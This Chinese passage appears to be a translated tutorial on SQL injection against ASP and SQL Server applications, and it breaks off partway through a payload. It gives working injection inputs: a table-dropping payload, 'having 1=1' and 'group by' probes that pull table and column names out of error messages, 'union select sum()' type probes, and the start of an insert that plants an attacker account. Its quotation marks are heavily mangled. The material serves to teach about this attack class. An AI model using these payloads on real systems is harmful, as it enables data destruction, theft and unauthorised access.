一个典型的SQL语句如下: Select id,forename,surname from authors 这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如: Select id,forename,surname from authors where forename''''john'''' and surname=''''smith'''' 需要着重指明的是字符串''''john''''和''''smith''''被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句, 如下: Forename:jo''''hn Surname:smith 查询语句变为: Select id,forename,surname from authors where forename=''''jo''''hn'''' and surname=''''smith'''' 当数据库试图去执行这个查询时,它将返回如下错误: Server:Msg 170, Level 15, State 1, Line 1 Line 1:Incorrect syntax near ''''hn'''' 造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行''''hn'''',但是失败。如果攻击者提供特别的输入如: Forename:jo'''';drop table authors— Surname: 结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样: Select id,forename,surname from authors where id=1234 在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用''''#''''限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表: Create talbe users( Id int, Username varchar(255), Password varchar(255), Privs int ) 然后将下面的用户插入到users表中: Insert into users values(0,''''admin'''',''''r00tr0x!'''',0xffff) Insert into users values(0,''''guest'''',''''guest'''',0x0000) Insert into users values(0,''''chris'''',''''password'''',0x00ff) Insert into users values(0,''''fred'''',''''sesame'''',0x00ff) 如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个''''1'''',这样只给他自己一个低权限的用户。 幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。 (下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的) 首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句: Username:'''' having 1=1— 这样将会出现如下错误: Microsoft OLE DB Provider for ODBC Drivers error ''''80040e14'''' [Microsoft][ODBC SQL Server Driver][SQL Server]Column ''''users.id'''' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下: Username:'''' group by users.id having 1=1— 出现的错误如下: Microsoft OLE DB Provider for ODBC Drivers error ''''80040e14'''' [Microsoft][ODBC SQL Server Driver][SQL Server]Column ''''users.username'''' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 最终攻击者得到了username字段后: ‘ group by users.id,users.username,users.password,users.privs having 1=1— 这句话并不产生错误,相当于: select * from users where username='''''''' 因此攻击者现在知道查询涉及users表,按顺序使用列''''id,username,password,privs''''。 能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如: Username:'''' union select sum(username) from users— 这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息: Microsoft OLE DB Provider for ODBC Drivers error ''''80040e07''''
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 这告诉了我们''''username''''字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。 Username:'''' union select sum(id) from users— Microsoft OLE DB Provider for ODBC Drivers error ''''80040e14''''
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。 这样攻击者就可以写一个好的insert查询,例如: Username:'''';insert into users values(666,''''attacker'''',''''foobar'''',''''0x